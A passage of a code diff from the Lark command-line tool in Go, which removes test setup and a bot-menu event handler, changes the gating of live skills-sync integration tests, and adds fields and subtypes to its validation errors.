-		{name: "mismatch", envNonce: "ambient", argNonce: "command"},
-		{name: "matching", envNonce: "nonce", argNonce: "nonce", want: true},
-	} {
-		t.Run(tt.name, func(t *testing.T) {
-			if got := startupBrandHelperEnabled(tt.envNonce, tt.argNonce); got != tt.want {
-				t.Fatalf("startupBrandHelperEnabled() = %v, want %v", got, tt.want)
-			}
-		})
-	}
-}
-
-func TestStartupBrandHelperNonce(t *testing.T) {
-	if got := startupBrandHelperNonce([]string{"test", "-test.run", "brand"}); got != "" {
-		t.Fatalf("startupBrandHelperNonce() = %q, want empty", got)
-	}
-	if got := startupBrandHelperNonce([]string{"test", "-startup-brand-helper=nonce"}); got != "nonce" {
-		t.Fatalf("startupBrandHelperNonce() = %q, want nonce", got)
-	}
-}

cmd/testmain_test.go

@@ -1,46 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package cmd
-
-import (
-	"os"
-	"testing"
-
-	"github.com/larksuite/cli/internal/registry/registrytest"
-)
-
-// TestMain isolates command-tree tests from the host machine: config (and the
-// registry cache under it) is redirected to a temp dir, then the registry is
-// seeded from the tracked fixture and initialized eagerly. Tests pass on a
-// clean checkout with no network, no `make fetch_meta`, and no user cache.
-//
-// Note: os.Exit skips deferred functions, so cleanup runs explicitly after
-// m.Run before exiting.
-func TestMain(m *testing.M) {
-	if isStartupBrandHelper() {
-		// Re-exec helper subprocess (startup_brand_test.go): the parent test
-		// already provides an isolated config dir and disables remote metadata,
-		// and the helper must own the first registry Init to prove the startup
-		// order — do not seed or eagerly initialize here.
-		os.Exit(m.Run())
-	}
-	root, err := os.MkdirTemp("", "lark-cli-cmd-test-*")
-	if err != nil {
-		println("cmd test setup: MkdirTemp failed:", err.Error())
-		os.Exit(2)
-	}
-	if err := os.Setenv("LARKSUITE_CLI_CONFIG_DIR", root); err != nil {
-		println("cmd test setup: Setenv failed:", err.Error())
-		os.RemoveAll(root)
-		os.Exit(2)
-	}
-	if err := registrytest.Seed(root); err != nil {
-		println("cmd test setup: registrytest.Seed failed:", err.Error())
-		os.RemoveAll(root)
-		os.Exit(2)
-	}
-	code := m.Run()
-	os.RemoveAll(root)
-	os.Exit(code)
-}

cmd/update/testmain_test.go

@@ -1,23 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package cmdupdate
-
-import (
-	"os"
-	"path/filepath"
-	"testing"
-)
-
-func TestMain(m *testing.M) {
-	root, err := os.MkdirTemp("", "lark-cli-update-test-*")
-	if err != nil {
-		panic(err)
-	}
-	if err := os.Setenv("LARKSUITE_CLI_CONFIG_DIR", filepath.Join(root, "config")); err != nil {
-		panic(err)
-	}
-	code := m.Run()
-	_ = os.RemoveAll(root)
-	os.Exit(code)
-}

cmd/update/update_test.go

@@ -24,8 +24,6 @@ import (
 	"github.com/larksuite/cli/internal/skillscheck"
 )
 
-const runLiveSkillsTestsEnv = "LARKSUITE_CLI_RUN_LIVE_SKILLS_TESTS"
-
 // newTestFactory creates a test factory with minimal config.
 func newTestFactory(t *testing.T) (*cmdutil.Factory, *bytes.Buffer, *bytes.Buffer) {
 	t.Helper()
@@ -33,17 +31,13 @@ func newTestFactory(t *testing.T) (*cmdutil.Factory, *bytes.Buffer, *bytes.Buffe
 	return f, stdout, stderr
 }
 
-// mockDetect sets up newUpdater to return an Updater with the given DetectResult
-// and fully mocked skills operations. Tests that only care about install-method
-// detection must never fall through to the real npx skills CLI.
+// mockDetect sets up newUpdater to return an Updater with the given DetectResult.
 func mockDetect(t *testing.T, result selfupdate.DetectResult) {
 	t.Helper()
 	origNew := newUpdater
 	newUpdater = func() *selfupdate.Updater {
 		u := selfupdate.New()
 		u.DetectOverride = func() selfupdate.DetectResult { return result }
-		u.SkillsIndexFetchOverride = successfulSkillsIndexFetch()
-		u.SkillsCommandOverride = successfulSkillsCommand()
 		return u
 	}
 	t.Cleanup(func() { newUpdater = origNew })
@@ -110,18 +104,6 @@ func successfulSkillsCommand() func(args ...string) *selfupdate.NpmResult {
 	}
 }
 
-func mockSkillsSync(t *testing.T) {
-	t.Helper()
-	origNew := newUpdater
-	newUpdater = func() *selfupdate.Updater {
-		u := selfupdate.New()
-		u.SkillsIndexFetchOverride = successfulSkillsIndexFetch()
-		u.SkillsCommandOverride = successfulSkillsCommand()
-		return u
-	}
-	t.Cleanup(func() { newUpdater = origNew })
-}
-
 func TestUpdatePnpm_JSON(t *testing.T) {
 	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
 	f, stdout, _ := newTestFactory(t)
@@ -246,9 +228,6 @@ func TestNormalizeVersion(t *testing.T) {
 }
 
 func TestUpdateAlreadyUpToDate_JSON(t *testing.T) {
-	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
-	mockSkillsSync(t)
-
 	f, stdout, _ := newTestFactory(t)
 
 	cmd := NewCmdUpdate(f)
@@ -277,9 +256,6 @@ func TestUpdateAlreadyUpToDate_JSON(t *testing.T) {
 }
 
 func TestUpdateAlreadyUpToDate_Human(t *testing.T) {
-	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
-	mockSkillsSync(t)
-
 	f, _, stderr := newTestFactory(t)
 
 	cmd := NewCmdUpdate(f)
@@ -305,7 +281,6 @@ func TestUpdateAlreadyUpToDate_Human(t *testing.T) {
 }
 
 func TestUpdateManual_JSON(t *testing.T) {
-	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
 	f, stdout, _ := newTestFactory(t)
 	cmd := NewCmdUpdate(f)
 	cmd.SetArgs([]string{"--json"})
@@ -337,7 +312,6 @@ func TestUpdateManual_JSON(t *testing.T) {
 }
 
 func TestUpdateManual_Human(t *testing.T) {
-	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
 	f, _, stderr := newTestFactory(t)
 	cmd := NewCmdUpdate(f)
 	cmd.SetArgs([]string{})
@@ -1187,7 +1161,6 @@ func TestRunSkillsAndState_DedupForceBypass(t *testing.T) {
 	}
 	called := false
 	updater := &selfupdate.Updater{
-		SkillsIndexFetchOverride: successfulSkillsIndexFetch(),
 		SkillsCommandOverride: func(args ...string) *selfupdate.NpmResult {
 			called = true
 			return successfulSkillsCommand()(args...)
@@ -1204,10 +1177,7 @@ func TestRunSkillsAndState_DedupForceBypass(t *testing.T) {
 
 func TestRunSkillsAndState_SuccessWritesState(t *testing.T) {
 	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
-	updater := &selfupdate.Updater{
-		SkillsIndexFetchOverride: successfulSkillsIndexFetch(),
-		SkillsCommandOverride:    successfulSkillsCommand(),
-	}
+	updater := &selfupdate.Updater{SkillsCommandOverride: successfulSkillsCommand()}
 	got := runSkillsAndState(updater, newTestIO(), "1.0.21", false)
 	if got == nil || got.Err != nil {
 		t.Fatalf("runSkillsAndState() = %+v, want non-nil with nil Err", got)
@@ -1227,7 +1197,6 @@ func TestRunSkillsAndState_FailureKeepsOldState(t *testing.T) {
 		t.Fatal(err)
 	}
 	updater := &selfupdate.Updater{
-		SkillsIndexFetchOverride: successfulSkillsIndexFetch(),
 		SkillsCommandOverride: func(args ...string) *selfupdate.NpmResult {
 			r := &selfupdate.NpmResult{}
 			r.Err = fmt.Errorf("npx failed")
@@ -1544,133 +1513,28 @@ func TestEmitSkillsTextHints_Success(t *testing.T) {
 	}
 }
 
-// liveSkillsIsolationEnv is the single source of truth for the user-state
-// directories a live skills test must redirect under the temporary home. It
-// covers the CLI's own config, the agent homes the skills CLI installs into,
-// the XDG dirs it derives paths from (XDG_STATE_HOME holds its global
-// .skill-lock.json), and the npm/npx overrides that take precedence over
-// HOME-derived defaults (both cases: npm reads npm_config_* case-insensitively).
-func liveSkillsIsolationEnv(home string) map[string]string {
-	return map[string]string{
-		"HOME":                     home,
-		"USERPROFILE":              home,
-		"APPDATA":                  filepath.Join(home, "AppData", "Roaming"),
-		"LOCALAPPDATA":             filepath.Join(home, "AppData", "Local"),
-		"XDG_CONFIG_HOME":          filepath.Join(home, ".config"),
-		"XDG_DATA_HOME":            filepath.Join(home, ".local", "share"),
-		"XDG_STATE_HOME":           filepath.Join(home, ".local", "state"),
-		"CODEX_HOME":               filepath.Join(home, ".codex"),
-		"CLAUDE_CONFIG_DIR":        filepath.Join(home, ".claude"),
-		"LARKSUITE_CLI_CONFIG_DIR": filepath.Join(home, ".lark-cli"),
-		"npm_config_cache":         filepath.Join(home, ".npm-cache"),
-		"NPM_CONFIG_CACHE":         filepath.Join(home, ".npm-cache"),
-		"npm_config_prefix":        filepath.Join(home, ".npm-global"),
-		"NPM_CONFIG_PREFIX":        filepath.Join(home, ".npm-global"),
-		"npm_config_userconfig":    filepath.Join(home, ".npmrc"),
-		"NPM_CONFIG_USERCONFIG":    filepath.Join(home, ".npmrc"),
-	}
-}
-
-func prepareLiveSkillsIntegration(t *testing.T) string {
-	t.Helper()
-	if os.Getenv(runLiveSkillsTestsEnv) != "1" {
-		t.Skipf("live skills integration test disabled; set %s=1 to run", runLiveSkillsTestsEnv)
-	}
-
-	home := t.TempDir()
-	for key, value := range liveSkillsIsolationEnv(home) {
-		t.Setenv(key, value)
-	}
-	return home
-}
-
-func TestPrepareLiveSkillsIntegration(t *testing.T) {
-	reachedAfterGate := false
-	t.Run("requires explicit opt-in", func(t *testing.T) {
-		t.Setenv(runLiveSkillsTestsEnv, "")
-		prepareLiveSkillsIntegration(t)
-		reachedAfterGate = true
-	})
-	if reachedAfterGate {
-		t.Fatal("prepareLiveSkillsIntegration continued without explicit opt-in")
-	}
-
-	t.Run("isolates user directories", func(t *testing.T) {
-		t.Setenv(runLiveSkillsTestsEnv, "1")
-		home := prepareLiveSkillsIntegration(t)
-		// Pin the isolation contract by key: removing a variable from
-		// liveSkillsIsolationEnv must fail this list, and every redirected
-		// value must live under the temporary home.
-		required := []string{
-			"HOME", "USERPROFILE", "APPDATA", "LOCALAPPDATA",
-			"XDG_CONFIG_HOME", "XDG_DATA_HOME", "XDG_STATE_HOME",
-			"CODEX_HOME", "CLAUDE_CONFIG_DIR", "LARKSUITE_CLI_CONFIG_DIR",
-			"npm_config_cache", "NPM_CONFIG_CACHE",
-			"npm_config_prefix", "NPM_CONFIG_PREFIX",
-			"npm_config_userconfig", "NPM_CONFIG_USERCONFIG",
-		}
-		env := liveSkillsIsolationEnv(home)
-		for _, key := range required {
-			expected, ok := env[key]
-			if !ok {
-				t.Errorf("liveSkillsIsolationEnv dropped required key %s", key)
-				continue
-			}
-			if !strings.HasPrefix(expected, home) {
-				t.Errorf("%s = %q escapes temporary home %q", key, expected, home)
-			}
-			if got := os.Getenv(key); got != expected {
-				t.Errorf("%s = %q, want %q", key, got, expected)
-			}
-		}
-	})
-}
-
-// seedLiveSkillsGlobal verifies the real npx skills CLI is reachable, installs
-// lark-calendar into the isolated global skills dir, and returns the parsed
-// global skills list. The caller opted in explicitly, so every missing
-// precondition is a hard failure — skipping would report "nothing verified"
-// as a green run.
-func seedLiveSkillsGlobal(t *testing.T) []string {
-	t.Helper()
+// TestUpdateCommand_RealSkillsSyncRewritesState is a live integration test that
+// verifies "lark-cli update" correctly triggers skills sync and rewrites the
+// state file. It calls the real npx skills CLI, so the test is skipped when
+// npx or the skills registry is unavailable (e.g. no network or fork PRs).
+func TestUpdateCommand_RealSkillsSyncRewritesState(t *testing.T) {
+	// Phase 1: Verify the real npx skills CLI is available; skip otherwise.
 	if _, err := exec.LookPath("npx"); err != nil {
-		t.Fatalf("live skills tests opted in but npx not found in PATH: %v", err)
+		t.Skipf("npx not found in PATH: %v", err)
 	}
-	// Three sequential npx runs against a cold cache (the isolated home starts
-	// empty) can be slow; with Fatal-on-timeout semantics the budget errs on
-	// the generous side.
-	ctx, cancel := context.WithTimeout(context.Background(), 180*time.Second)
+	ctx, cancel := context.WithTimeout(context.Background(), 45*time.Second)
 	defer cancel()
 	if err := exec.CommandContext(ctx, "npx", "-y", "skills", "add", "https://open.feishu.cn", "--list").Run(); err != nil {
-		t.Fatalf("live skills tests opted in but real skills CLI unavailable: %v", err)
-	}
-	if err := exec.CommandContext(ctx, "npx", "-y", "skills", "add", "https://open.feishu.cn", "-s", "lark-calendar", "-g", "-y").Run(); err != nil {
-		t.Fatalf("failed to seed isolated global skills: %v", err)
+		t.Skipf("real skills CLI unavailable: %v", err)
 	}
 	globalOut, err := exec.CommandContext(ctx, "npx", "-y", "skills", "ls", "-g").Output()
 	if err != nil {
-		t.Fatalf("real global skills CLI unavailable: %v", err)
+		t.Skipf("real global skills CLI unavailable: %v", err)
 	}
 	localSkills := skillscheck.ParseSkillsList(string(globalOut))
-	if len(localSkills) == 0 {
-		t.Fatal("seeded lark-calendar but global skills list is empty")
-	}
 	if err := ctx.Err(); err != nil {
-		t.Fatalf("real skills CLI availability check timed out: %v", err)
+		t.Skipf("real skills CLI availability check timed out: %v", err)
 	}
-	return localSkills
-}
-
-// TestUpdateCommand_RealSkillsSyncRewritesState is a live integration test that
-// verifies "lark-cli update" correctly triggers skills sync and rewrites the
-// state file. It calls the real npx skills CLI and only runs with explicit
-// opt-in. All user directories are redirected to a temporary home.
-func TestUpdateCommand_RealSkillsSyncRewritesState(t *testing.T) {
-	prepareLiveSkillsIntegration(t)
-
-	// Phase 1: Verify the real npx skills CLI is available and seed the
-	// isolated global skills install.
-	localSkills := seedLiveSkillsGlobal(t)
 
 	// Phase 2: Seed a previous sync state simulating an upgrade from v1.0.19.
 	// lark-doc and lark-mail are recorded as skipped/deleted, meaning the user
@@ -1766,17 +1630,26 @@ func TestUpdateCommand_RealSkillsSyncRewritesState(t *testing.T) {
 // not exist (cold start), the update command installs all official skills and
 // writes a fresh state file. No skill should appear in SkippedDeletedSkills
 // because there is no previous state to preserve user deletions from.
-// This is a live integration test that calls the real npx skills CLI and only
-// runs with explicit opt-in. All user directories are redirected to a temporary
-// home.
+// This is a live integration test that calls the real npx skills CLI; it is
+// skipped when npx or the skills registry is unavailable.
 func TestUpdateCommand_SkillsSyncColdStart(t *testing.T) {
-	prepareLiveSkillsIntegration(t)
-
-	// Phase 1: Verify the real npx skills CLI is available and seed one known
-	// official skill into the isolated global install. Cold start means no
-	// skills-state.json — locally installed skills may still exist, and seeding
-	// one keeps the Phase 4 per-skill assertions from running zero times.
-	localSkills := seedLiveSkillsGlobal(t)
+	// Phase 1: Verify the real npx skills CLI is available; skip otherwise.
+	if _, err := exec.LookPath("npx"); err != nil {
+		t.Skipf("npx not found in PATH: %v", err)
+	}
+	ctx, cancel := context.WithTimeout(context.Background(), 45*time.Second)
+	defer cancel()
+	if err := exec.CommandContext(ctx, "npx", "-y", "skills", "add", "https://open.feishu.cn", "--list").Run(); err != nil {
+		t.Skipf("real skills CLI unavailable: %v", err)
+	}
+	globalOut, err := exec.CommandContext(ctx, "npx", "-y", "skills", "ls", "-g").Output()
+	if err != nil {
+		t.Skipf("real global skills CLI unavailable: %v", err)
+	}
+	localSkills := skillscheck.ParseSkillsList(string(globalOut))
+	if err := ctx.Err(); err != nil {
+		t.Skipf("real skills CLI availability check timed out: %v", err)
+	}
 
 	// Phase 2: Use an isolated config dir with no pre-existing skills-state.json.
 	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())

errs/marshal_test.go

@@ -294,3 +294,23 @@ func TestConfirmationRequiredError_MarshalJSON(t *testing.T) {
 		}
 	}
 }
+
+// TestValidationErrorResolvedAnswersJSON pins the resolved_answers wire shape —
+// the failed_precondition extension the agents input_required flow's recovery
+// playbook branches on (the field NAME is the AI-consumer contract).
+func TestValidationErrorResolvedAnswersJSON(t *testing.T) {
+	ve := NewValidationError(SubtypeFailedPrecondition, "任务已不在等待输入").
+		WithResolvedAnswers(map[string][]string{"q1_a8": {"by_region"}})
+	b, err := json.Marshal(ve)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if want := `"resolved_answers":{"q1_a8":["by_region"]}`; !strings.Contains(string(b), want) {
+		t.Errorf("marshal should carry %s, got %s", want, b)
+	}
+	// Absent when unset (omitempty).
+	b, _ = json.Marshal(NewValidationError(SubtypeFailedPrecondition, "x"))
+	if strings.Contains(string(b), "resolved_answers") {
+		t.Errorf("unset resolved_answers must be omitted, got %s", b)
+	}
+}

errs/subtypes.go

@@ -12,8 +12,10 @@ const (
 
 // CategoryValidation subtypes
 const (
-	SubtypeInvalidArgument    Subtype = "invalid_argument"    // user-supplied flag / arg failed validation (gRPC INVALID_ARGUMENT alignment)
-	SubtypeFailedPrecondition Subtype = "failed_precondition" // request is valid but the system/resource state is not in the state required to execute; caller must change state (not retry) — e.g. ambiguous remote mapping (gRPC FAILED_PRECONDITION alignment)
+	SubtypeInvalidArgument       Subtype = "invalid_argument"       // user-supplied flag / arg failed validation (gRPC INVALID_ARGUMENT alignment)
+	SubtypeFailedPrecondition    Subtype = "failed_precondition"    // request is valid but the system/resource state is not in the state required to execute; caller must change state (not retry) — e.g. ambiguous remote mapping (gRPC FAILED_PRECONDITION alignment)
+	SubtypeUnsupportedCapability Subtype = "unsupported_capability" // the addressed provider/agent does not support the requested capability (capability gating on the agent card); exit 2, no request is sent
+	SubtypeUnavailableForBrand   Subtype = "unavailable_for_brand"  // the addressed agent/capability exists but is not available under the current login brand (feishu vs lark); exit 2, no request is sent (sibling of unsupported_capability)
 )
 
 // CategoryAuthentication subtypes

errs/types.go

@@ -63,7 +63,15 @@ type ValidationError struct {
 	Problem
 	Param  string         `json:"param,omitempty"`
 	Params []InvalidParam `json:"params,omitempty"`
-	Cause  error          `json:"-"`
+	// ResolvedAnswers is the failed_precondition extension for the agents
+	// input_required flow (per-Subtype extension field, same convention as
+	// PermissionError.MissingScopes): when a question-group answer arrives after
+	// the group was already resolved (another endpoint answered first, or a
+	// retry landed twice), the provider echoes WHAT was accepted — keyed like
+	// the answer submission itself — so an AI caller can tell the user the
+	// outcome without parsing prose.
+	ResolvedAnswers map[string][]string `json:"resolved_answers,omitempty"`
+	Cause           error               `json:"-"`
 }
 
 // InvalidParam is one structured validation diagnostic: the parameter that
@@ -81,6 +89,11 @@ type InvalidParam struct {
 	// parameter (e.g. did-you-mean flags or subcommands), so an agent can retry
 	// without parsing the human-facing hint. Omitted when there are none.
 	Suggestions []string `json:"suggestions,omitempty"`
+	// Spec optionally embeds the parameter's full declaration (type, enum,
+	// default, description, ...) so the error is self-contained: a caller can
+	// fix the value without a discovery round-trip. Producers pass a
+	// JSON-marshalable declaration struct; omitted when not applicable.
+	Spec any `json:"spec,omitempty"`
 }
 
 // Unwrap exposes the wrapped cause so errors.Unwrap / errors.Is can traverse
@@ -140,6 +153,22 @@ func (e *ValidationError) WithParam(param string) *ValidationError {
 	return e
 }
 
+// WithResolvedAnswers attaches the already-accepted answer set to a
+// failed_precondition (see the ResolvedAnswers field doc). The map and its
+// value slices are cloned — the builder never aliases caller-owned memory
+// (same immutability rule as WithMissingScopes/slices.Clone).
+func (e *ValidationError) WithResolvedAnswers(answers map[string][]string) *ValidationError {
+	if len(answers) == 0 {
+		return e
+	}
+	cp := make(map[string][]string, len(answers))
+	for k, v := range answers {
+		cp[k] = slices.Clone(v)
+	}
+	e.ResolvedAnswers = cp
+	return e
+}
+
 func (e *ValidationError) WithParams(params ...InvalidParam) *ValidationError {
 	e.Params = append(e.Params, params...)
 	return e

events/application/menu.go

@@ -1,107 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package application
-
-import (
-	"context"
-	"encoding/json"
-	"strings"
-
-	"github.com/larksuite/cli/internal/event"
-)
-
-// BotMenuOutput is the flattened shape for application.bot.menu_v6.
-type BotMenuOutput struct {
-	Type            string `json:"type"                         desc:"Event type; always application.bot.menu_v6"`
-	EventID         string `json:"event_id,omitempty"           desc:"Globally unique event ID; safe for deduplication"`
-	Timestamp       string `json:"timestamp,omitempty"          desc:"Event delivery time (ms timestamp string); prefers header.create_time" kind:"timestamp_ms"`
-	AppID           string `json:"app_id,omitempty"             desc:"Application ID from the event header"`
-	TenantKey       string `json:"tenant_key,omitempty"         desc:"Tenant key from the event header"`
-	EventKey        string `json:"event_key,omitempty"          desc:"Developer-defined bot menu event key"`
-	MenuTimestamp   string `json:"menu_timestamp,omitempty"     desc:"Menu click timestamp from the event body"                           kind:"timestamp_ms"`
-	OperatorID      string `json:"operator_id,omitempty"        desc:"Operator open_id; kept as a short alias of operator_open_id"        kind:"open_id"`
-	OperatorOpenID  string `json:"operator_open_id,omitempty"   desc:"Operator open_id"                                                   kind:"open_id"`
-	OperatorUnionID string `json:"operator_union_id,omitempty"  desc:"Operator union_id"                                                  kind:"union_id"`
-	OperatorUserID  string `json:"operator_user_id,omitempty"   desc:"Operator user_id"                                                   kind:"user_id"`
-	OperatorName    string `json:"operator_name,omitempty"      desc:"Operator display name"`
-}
-
-func processBotMenu(_ context.Context, _ event.APIClient, raw *event.RawEvent, _ map[string]string) (json.RawMessage, error) {
-	var envelope struct {
-		Header struct {
-			EventID    string `json:"event_id"`
-			EventType  string `json:"event_type"`
-			CreateTime string `json:"create_time"`
-			AppID      string `json:"app_id"`
-			TenantKey  string `json:"tenant_key"`
-		} `json:"header"`
-		Event struct {
-			EventKey  string          `json:"event_key"`
-			Timestamp json.RawMessage `json:"timestamp"`
-			Operator  struct {
-				OperatorID struct {
-					OpenID  string `json:"open_id"`
-					UnionID string `json:"union_id"`
-					UserID  string `json:"user_id"`
-				} `json:"operator_id"`
-				OperatorName string `json:"operator_name"`
-			} `json:"operator"`
-		} `json:"event"`
-	}
-	if err := json.Unmarshal(raw.Payload, &envelope); err != nil {
-		return raw.Payload, nil //nolint:nilerr // passthrough on malformed payload so consumers still see the event
-	}
-
-	menuTimestamp := timestampMillisString(envelope.Event.Timestamp)
-	timestamp := envelope.Header.CreateTime
-	if timestamp == "" {
-		timestamp = menuTimestamp
-	}
-	operatorID := envelope.Event.Operator.OperatorID.OpenID
-
-	out := &BotMenuOutput{
-		Type:            eventTypeBotMenuV6,
-		EventID:         envelope.Header.EventID,
-		Timestamp:       timestamp,
-		AppID:           envelope.Header.AppID,
-		TenantKey:       envelope.Header.TenantKey,
-		EventKey:        envelope.Event.EventKey,
-		MenuTimestamp:   menuTimestamp,
-		OperatorID:      operatorID,
-		OperatorOpenID:  operatorID,
-		OperatorUnionID: envelope.Event.Operator.OperatorID.UnionID,
-		OperatorUserID:  envelope.Event.Operator.OperatorID.UserID,
-		OperatorName:    envelope.Event.Operator.OperatorName,
-	}
-	return json.Marshal(out)
-}
-
-func rawScalarString(raw json.RawMessage) string {
-	s := strings.TrimSpace(string(raw))
-	if s == "" || s == "null" {
-		return ""
-	}
-	var text string
-	if err := json.Unmarshal(raw, &text); err == nil {
-		return text
-	}
-	return s
-}
-
-func timestampMillisString(raw json.RawMessage) string {
-	s := rawScalarString(raw)
-	if len(s) == 10 && allDigits(s) {
-		return s + "000"
-	}
-	return s
-}
-
-func allDigits(s string) bool {
-	for _, r := range s {
-		if r < '0' || r > '9' {
-			return false
-		}
-	}
-	return s != ""
-}

events/application/menu_test.go

@@ -1,227 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package application
-
-import (
-	"context"
-	"encoding/json"
-	"reflect"
-	"testing"
-	"time"
-
-	"github.com/larksuite/cli/internal/event"
-)
-
-func TestKeysBotMenuMetadata(t *testing.T) {
-	keys := Keys()
-	if len(keys) != 1 {
-		t.Fatalf("len(Keys()) = %d, want 1", len(keys))
-	}
-
-	def := keys[0]
-	if def.Key != eventTypeBotMenuV6 {
-		t.Errorf("Key = %q, want %q", def.Key, eventTypeBotMenuV6)
-	}
-	if def.EventType != eventTypeBotMenuV6 {
-		t.Errorf("EventType = %q, want %q", def.EventType, eventTypeBotMenuV6)
-	}
-	if def.SubscriptionType != "" {
-		t.Errorf("SubscriptionType = %q, want default event subscription", def.SubscriptionType)
-	}
-	if def.Schema.Custom == nil {
-		t.Fatal("Schema.Custom is nil")
-	}
-	if def.Schema.Custom.Type != reflect.TypeOf(BotMenuOutput{}) {
-		t.Errorf("custom type = %v, want BotMenuOutput", def.Schema.Custom.Type)
-	}
-	if def.Schema.Native != nil {
-		t.Fatal("Schema.Native must be nil for processed output")
-	}
-	if def.Process == nil {
-		t.Fatal("Process is nil")
-	}
-	if !reflect.DeepEqual(def.AuthTypes, []string{"bot"}) {
-		t.Errorf("AuthTypes = %#v", def.AuthTypes)
-	}
-	if !reflect.DeepEqual(def.RequiredConsoleEvents, []string{eventTypeBotMenuV6}) {
-		t.Errorf("RequiredConsoleEvents = %#v", def.RequiredConsoleEvents)
-	}
-}
-
-func TestBotMenuRegistersCleanly(t *testing.T) {
-	const key = eventTypeBotMenuV6
-	event.UnregisterKeyForTest(key)
-	t.Cleanup(func() { event.UnregisterKeyForTest(key) })
-
-	for _, def := range Keys() {
-		event.RegisterKey(def)
-	}
-	if _, ok := event.Lookup(key); !ok {
-		t.Fatalf("event.Lookup(%q) not registered", key)
-	}
-}
-
-func TestProcessBotMenu(t *testing.T) {
-	payload := `{
-		"schema": "2.0",
-		"header": {
-			"event_id": "ev_menu_001",
-			"event_type": "application.bot.menu_v6",
-			"create_time": "1776409469273",
-			"app_id": "cli_test",
-			"tenant_key": "tenant_test"
-		},
-		"event": {
-			"event_key": "start_eval",
-			"timestamp": 1776409469000,
-			"operator": {
-				"operator_id": {
-					"open_id": "ou_operator",
-					"union_id": "on_operator",
-					"user_id": "user_operator"
-				},
-				"operator_name": "Test User"
-			}
-		}
-	}`
-	out := runBotMenu(t, payload)
-
-	if out.Type != eventTypeBotMenuV6 {
-		t.Errorf("Type = %q, want %q", out.Type, eventTypeBotMenuV6)
-	}
-	if out.EventID != "ev_menu_001" {
-		t.Errorf("EventID = %q", out.EventID)
-	}
-	if out.Timestamp != "1776409469273" {
-		t.Errorf("Timestamp = %q", out.Timestamp)
-	}
-	if out.EventKey != "start_eval" {
-		t.Errorf("EventKey = %q", out.EventKey)
-	}
-	if out.MenuTimestamp != "1776409469000" {
-		t.Errorf("MenuTimestamp = %q", out.MenuTimestamp)
-	}
-	if out.OperatorID != "ou_operator" || out.OperatorOpenID != "ou_operator" {
-		t.Errorf("OperatorID/OperatorOpenID = %q/%q", out.OperatorID, out.OperatorOpenID)
-	}
-	if out.OperatorUnionID != "on_operator" {
-		t.Errorf("OperatorUnionID = %q", out.OperatorUnionID)
-	}
-	if out.OperatorUserID != "user_operator" {
-		t.Errorf("OperatorUserID = %q", out.OperatorUserID)
-	}
-	if out.OperatorName != "Test User" {
-		t.Errorf("OperatorName = %q", out.OperatorName)
-	}
-	if out.AppID != "cli_test" || out.TenantKey != "tenant_test" {
-		t.Errorf("AppID/TenantKey = %q/%q", out.AppID, out.TenantKey)
-	}
-}
-
-func TestProcessBotMenuStringTimestampFallback(t *testing.T) {
-	payload := `{
-		"schema": "2.0",
-		"header": {
-			"event_id": "ev_menu_002",
-			"event_type": "application.bot.menu_v6"
-		},
-		"event": {
-			"event_key": "start_eval",
-			"timestamp": "1776409469001",
-			"operator": {
-				"operator_id": {"open_id": "ou_operator"}
-			}
-		}
-	}`
-	out := runBotMenu(t, payload)
-
-	if out.Timestamp != "1776409469001" {
-		t.Errorf("Timestamp fallback = %q", out.Timestamp)
-	}
-	if out.MenuTimestamp != "1776409469001" {
-		t.Errorf("MenuTimestamp = %q", out.MenuTimestamp)
-	}
-}
-
-func TestProcessBotMenuSecondsTimestampFallback(t *testing.T) {
-	payload := `{
-		"schema": "2.0",
-		"header": {
-			"event_id": "ev_menu_seconds",
-			"event_type": "application.bot.menu_v6"
-		},
-		"event": {
-			"event_key": "start_eval",
-			"timestamp": 1694592375,
-			"operator": {
-				"operator_id": {"open_id": "ou_operator"}
-			}
-		}
-	}`
-	out := runBotMenu(t, payload)
-
-	if out.Timestamp != "1694592375000" {
-		t.Errorf("Timestamp fallback = %q, want seconds normalized to milliseconds", out.Timestamp)
-	}
-	if out.MenuTimestamp != "1694592375000" {
-		t.Errorf("MenuTimestamp = %q, want seconds normalized to milliseconds", out.MenuTimestamp)
-	}
-}
-
-func TestProcessBotMenuTypeUsesLocalConstant(t *testing.T) {
-	payload := `{
-		"schema": "2.0",
-		"header": {
-			"event_id": "ev_menu_003",
-			"event_type": "unexpected.event_type",
-			"create_time": "1776409469275"
-		},
-		"event": {
-			"event_key": "start_eval",
-			"operator": {
-				"operator_id": {"open_id": "ou_operator"}
-			}
-		}
-	}`
-	out := runBotMenu(t, payload)
-
-	if out.Type != eventTypeBotMenuV6 {
-		t.Errorf("Type = %q, want %q", out.Type, eventTypeBotMenuV6)
-	}
-}
-
-func TestProcessBotMenuMalformedPayload(t *testing.T) {
-	raw := &event.RawEvent{
-		EventID:   "ev_bad",
-		EventType: eventTypeBotMenuV6,
-		Payload:   json.RawMessage(`not json`),
-		Timestamp: time.Now(),
-	}
-	got, err := processBotMenu(context.Background(), nil, raw, nil)
-	if err != nil {
-		t.Fatalf("Process should swallow parse errors, got %v", err)
-	}
-	if string(got) != "not json" {
-		t.Errorf("malformed fallback output = %q, want original bytes", string(got))
-	}
-}
-
-func runBotMenu(t *testing.T, payload string) BotMenuOutput {
-	t.Helper()
-	raw := &event.RawEvent{
-		EventID:   "ev_test",
-		EventType: eventTypeBotMenuV6,
-		Payload:   json.RawMessage(payload),
-		Timestamp: time.Now(),
-	}
-	got, err := processBotMenu(context.Background(), nil, raw, nil)
-	if err != nil {
-		t.Fatalf("processBotMenu: %v", err)
-	}
-	var out BotMenuOutput
-	if err := json.Unmarshal(got, &out); err != nil {
-		t.Fatalf("unmarshal output: %v\n%s", err, got)
-	}
-	return out
-}

events/application/register.go

